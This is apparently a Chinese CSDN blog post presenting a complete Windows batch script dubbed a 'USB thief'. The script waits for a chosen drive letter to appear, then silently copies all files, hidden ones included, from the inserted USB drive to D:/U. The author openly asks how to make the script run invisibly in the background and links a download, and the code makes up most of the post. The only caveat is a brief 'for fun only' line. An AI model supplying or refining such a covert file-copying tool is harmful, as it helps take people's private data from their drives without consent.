上《网络安全》选修课的时候,老师提到过一个工具叫U盘小偷,可以自动把别人U盘的东西“偷”到自己的电脑上。
具体的什么样我没见过,但是想到这个功能是很容易用批处理来实现的,于是写了下面一个批处理版的"U盘小偷"。
批处理最大的缺点是不能后台运行,这个小偷没法“隐身”。有谁知道如何让批处理后台运行?
我知道有一个方法是把批处理嵌入到其他程序中,比如C,JAVA,然后就可以后台运行了。等有时间用c或者java写一个通用的批处理后台运行工具吧。先记着。
这个版本目前功能很简单,还需要手动设置U盘盘符。等有时间再写一个完善的版本。
仅供娱乐,不要拿这个干坏事。…………&&
下载地址:
http://download.csdn.net/source/2859755
附上源代码:
CSDN目前不支持批处理程序啊,只好简单的粘贴了:
///分割线///
@echo off
echo ************U盘小偷(命令行版)************
echo axun 20010.6.19
echo 作用:监控U盘,发现U盘插入后,自动复制其中文件。
echo 请先设置U盘路径,请输入U盘盘符(如 H:,注意格式,英文字母加冒号):/n
set /p upath=
echo 正在监控……
:go
ping 127.0.0.1 >>nul
if exist %upath% echo 发现U盘插入!自动复制U盘中的文件至d:/u目录下。
if exist %upath% call :y
if not exist %upath% call :go
:y
echo U盘所有文件如下:
dir /a %upath%
echo 开始复制 U:/ -->> D:/U …………
xcopy /h /e /y %upath% D:/U/
echo 复制完毕!
pause
exit